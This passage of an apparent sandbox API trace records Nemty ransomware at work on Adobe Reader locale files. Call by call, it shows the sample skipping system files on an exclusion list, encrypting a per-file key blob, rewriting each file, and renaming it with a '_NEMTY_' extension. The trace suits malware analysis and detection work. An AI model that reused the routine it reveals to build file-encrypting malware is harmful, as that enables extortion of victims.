Flags=0x0, Size=0x90) returned 0x6346e90 [0175.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0175.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.829] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\reflow.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\reflow.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\reflow.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\reflow.esp._nemty_kgobjgd_")) returned 1 [0175.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0175.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.830] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.ESP", cAlternateFileName="SAVEAS~1.ESP")) returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2=".") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="..") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="...") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="windows") returned -1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="rsa") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="NTDETECT.COM") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="ntldr") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="MSDOS.SYS") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="IO.SYS") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="boot.ini") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="boot.ini") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="ntuser.dat") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="desktop.ini") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="CONFIG.SYS") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="RECYCLER") returned 1 [0175.830] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.831] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="bootmgr") returned 1 [0175.831] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="programdata") returned 1 [0175.831] lstrcmpiW (lpString1="SaveAsRTF.ESP", lpString2="appdata") returned 1 [0175.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ESP", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.ESP", lpUsedDefaultChar=0x0) returned 13 [0175.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ESP", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.ESP", lpUsedDefaultChar=0x0) returned 13 [0175.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ESP", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.ESP", lpUsedDefaultChar=0x0) returned 13 [0175.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.ESP", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.ESP", lpUsedDefaultChar=0x0) returned 13 [0175.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.831] Sleep (dwMilliseconds=0x5) [0175.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c74cfb0, dwHighDateTime=0x1d561e8)) [0175.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c74cfb0, dwHighDateTime=0x1d561e8)) [0175.841] GetLastError () returned 0x0 [0175.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.841] GetLastError () returned 0x0 [0175.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.841] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.841] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.841] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.841] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="CbvwRXOBABbRh7rgX1cZ0jMTxdndIy8A2ku3v1YB03kJlea9NhgoqDizJvSbr3hx\r\nilazB/kSxnM5Bb5wV0omNYKWBYy6JkjBZDD4EZdh8N5faW7EtQmPF783RCrH1LwH\r\nhSnMia5gUyJOxAaQ3SfVf7OpWI5l351EZuH635XqiyaQaLQCX8dnBNHDdMSIld3x\r\nsyZt6dYh31PuYLWV3SWCeTW1JUo/1F43ptcdAShqp63+0RwQrSeFZocOqeYeVH9Q\r\nkw4lOHh3tFjfq7GqP5+uwWVND+rix0hdrpMvDiMFcRZe8iseK6czjr0VIwQ31zPx\r\niV9cABm0uXEuMbo3OEY7Fg==\r\n", pcchString=0x653e5dc) returned 1 [0175.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.842] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SaveAsRTF.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\saveasrtf.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.842] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0175.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0175.843] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.843] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0175.845] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.845] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0175.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.845] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0175.845] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.845] CloseHandle (hObject=0x2e8) returned 1 [0175.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.846] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SaveAsRTF.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\saveasrtf.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SaveAsRTF.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\saveasrtf.esp._nemty_kgobjgd_")) returned 1 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.846] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.ESP", cAlternateFileName="")) returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2=".") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="..") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="...") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="windows") returned -1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="rsa") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="NTDETECT.COM") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="ntldr") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="MSDOS.SYS") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="IO.SYS") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="boot.ini") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="boot.ini") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="ntuser.dat") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="desktop.ini") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="CONFIG.SYS") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="RECYCLER") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="bootmgr") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="programdata") returned 1 [0175.847] lstrcmpiW (lpString1="Search.ESP", lpString2="appdata") returned 1 [0175.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ESP", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ESP", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ESP", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ESP", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.848] Sleep (dwMilliseconds=0x5) [0175.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c773110, dwHighDateTime=0x1d561e8)) [0175.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c773110, dwHighDateTime=0x1d561e8)) [0175.857] GetLastError () returned 0x0 [0175.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.857] GetLastError () returned 0x0 [0175.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.857] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.857] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="h7G0S5Hjr/RAdlRXsk0iO3JI13ZQF6xZ6NhV/4i5tPT+iDfk+JmsRtRGBuM5C4Ny\r\ngh6M9WgsfEa6TV8LQayRNHkcuPa4liwAYF5LQhOAXOP/esUkUljxrWF2Zsrx5LxZ\r\ncc3tr+0B61RU75OTOQ9yarXc9kleu4zrKFlx8SOkv02SQ3HldBdYDiZqKt7wy2PG\r\nxoBVQgTlR9nBkX1LPXcv3fKL4uHG3sHVrL6M14TvsT/FniKJExvnZiSDqLKTdMJw\r\n63AOtE8IAKhNOSV4FH9oSYeFIMMe6koZjA4eeAuGKg0zA1waKlZdO1Fbm3DHIPaX\r\n3oq8jMz5EaYwmP1+sla7lw==\r\n", pcchString=0x653e5dc) returned 1 [0175.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.857] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Search.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\search.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.858] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24576) returned 1 [0175.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6000) returned 0x6352c48 [0175.858] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.858] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6000, lpOverlapped=0x0) returned 1 [0175.860] 